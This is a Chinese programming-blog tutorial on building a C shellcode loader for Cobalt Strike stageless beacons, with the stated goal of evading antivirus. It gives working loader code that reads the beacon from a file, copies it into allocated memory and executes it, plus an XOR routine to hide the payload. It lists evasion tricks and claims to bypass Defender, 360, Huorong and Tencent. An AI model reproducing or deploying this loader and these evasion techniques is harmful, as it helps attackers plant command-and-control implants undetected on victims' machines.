王剑编程网

分享专业编程知识与实战技巧

如何用C语言实现Shellcode Loader

0x01 前言

之前github找了一个基于go的loader,生成后文件大小6M多,而且细节不够了解,一旦被杀,都不知道改哪里,想来还是要自己写一个loader

0x02 免杀效果

文件大小12KB

虚拟机Win10:Defender(测试时间2022/10/31)

物理机Win10:360安全卫士(开核晶)、360杀毒、火绒、腾讯管家(测试时间2022/10/31)

0x02 Loader前世

编写shellcode loader,网上的文章很多了,但或多或少都会有点问题,比如这篇文章:
https://mp.weixin.qq.com/s/oVGWlkv9amgGS5abzNEpdg,他用的shellcode是msf生成的,当你换成cs的shellcode时,你会发现,vs编译器报错“编译器错误 C2026”

参考:
https://learn.microsoft.com/zh-cn/cpp/error-messages/compiler-errors-1/compiler-error-c2026?view=msvc-170

这个错误简单说,就是vs编译器规定,单个变量的字符串长度不能超过16380 个字节,而cs导出的stageless、x64的shellcode多达263168字节,大于16380字节,所以会报错,直接用网上文章的代码不行,我们就要学习下细节了

0x03 Loader今生

一个最简单的shellcode loader

1
2
3
4
5
6
7
int main(){
    unsigned char buf[] = "shellcode";
    void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof buf);
    ((void(*)())exec)();
    return 0;
}

shellcode存放于变量 -> 内存申请 -> 内存拷贝 -> 内存执行

由于cs导出的stageless、x64的shellcode多达263168字节,不能存到变量,所以我们选择从文件中读取,可使用文件打开函数fopen

1
FILE *fp = fopen("beacon-stageless-x64.bin", "rb")

申请内存空间,可使用函数malloc、new、VirtualAlloc、HeapAlloc、GlobalAlloc、LocalAlloc、CoTaskMemAlloc

参考:
https://learn.microsoft.com/zh-cn/windows/win32/memory/comparing-memory-allocation-methods

其中new是c++中用来申请内存的,VirtualAlloc用的较多,被杀软拦截的可能性较大,后面几个不是很常用,此处我们选择malloc

需要注意,malloc是c语言标准库,意味着可跨平台,VirtualAlloc是windows api,算是windows平台下c语言运行时库,要想写跨平台的loader,需要用c语言标准库

参数为shellcode大小,并将其返回值类型强制转换为char *

1
char *p = (char *) malloc(sizeof(buf));

拷贝shellcode到内存空间,可使用函数memcpy、fread、strcpy,此处我们选择fread

第1个参数p为内存地址,通常为数组或指针,第2个参数表示每个数据块的字节数,第3个参数表示要读取的数据块的块数,第4个参数表示文件指针

1
fread(p, sizeof(buf), 1, fp); 

调用申请的内存空间首地址加载shellcode

1
((char(*)())p)();

最后这行代码看着有点复杂,但其实不难,我们看下面这个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
void hello() {
      printf("hello world");
}

int main() {
    hello();  // 简化调用
    (*hello)();  // 标准调用
    return 0;
}

hello()的标准调用方式是(*hello)(),也就是取这个函数的地址再调用,那么同理,void (*hello)()也可以理解为标准声明方式
对于void (*hello)()这种函数声明,它的类型为void(*)(),也就是说,如果想要将某个函数强制转换为此类型应为(void(*)()) hello()
回到( (char(*)()) p)()也就是将p强制转换为类型char(*)()后,再作为函数调用

上面只是讲了shellcode loader的基本步骤,实际编写的时候出于免杀效果好的考虑,可做如下操作:

01、可在申请内存空间的时候去掉可执行属性,后面再对申请的内存空间设置可执行属性

02、添加一些干扰代码,如调用memset对申请的内存空间全部置0

03、改用其他函数实现对应功能

04、还可以通过动态调用函数实现对应功能,可参考这篇文章:
https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652477998&idx=1&sn=
21dd0456161ef1f38835b05e8da531e8&chksm=
f258399dc52fb08beb906630b4591b12c0db7058ddadce894e9f78626e2bae45c5690a3150ee&scene=178&cur_album_id=1430891819562549250#rd

0x04 Shellcode加密

上面是loader的讲解,shellcode其实也需要加密,不然会被杀软直接杀掉

shellcode加密相对好做,我这边测试,简单的异或加密,即可过掉大部分杀软,下面贴一下加密功能的代码,代码讲解基本和上述一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int getFileSize(char* path) {
    FILE* fp = fopen(path, "rt");
    if (fp == NULL) {
        return -1;
    }
    else {
        fseek(fp, 0, SEEK_END);
        int length = ftell(fp);
        return length;
    }
}

void Encrypt(char* oldpath, char* newpath) {
    FILE *fpr, *fpw;
    fpr = fopen(oldpath, "rb");
    fpw = fopen(newpath, "wb");
    if (fpr == NULL || fpw == NULL) {
        return -1;
    }
    else {
        int length = getFileSize(oldpath);
        char* p = (char*) malloc(length * sizeof(char));
        fread(p, sizeof(char), length, fpr);
        for (int i = 0; i < length; i++) {
            p[i] ^= 'A';
        }
        fwrite(p, sizeof(char), length, fpw);
        fclose(fpr);
        fclose(fpw);
    }
}

解密的时候,同样进行一下异或即可

其实还有很多其他的变形异或加密方式,可参考这篇文章:
https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652477986&idx=1&sn=
e1d5f269d5e9799aee007ee04df10b50&chksm=
f2583991c52fb0871508211416ff1

控制面板
您好,欢迎到访网站!
  查看权限
网站分类
最新留言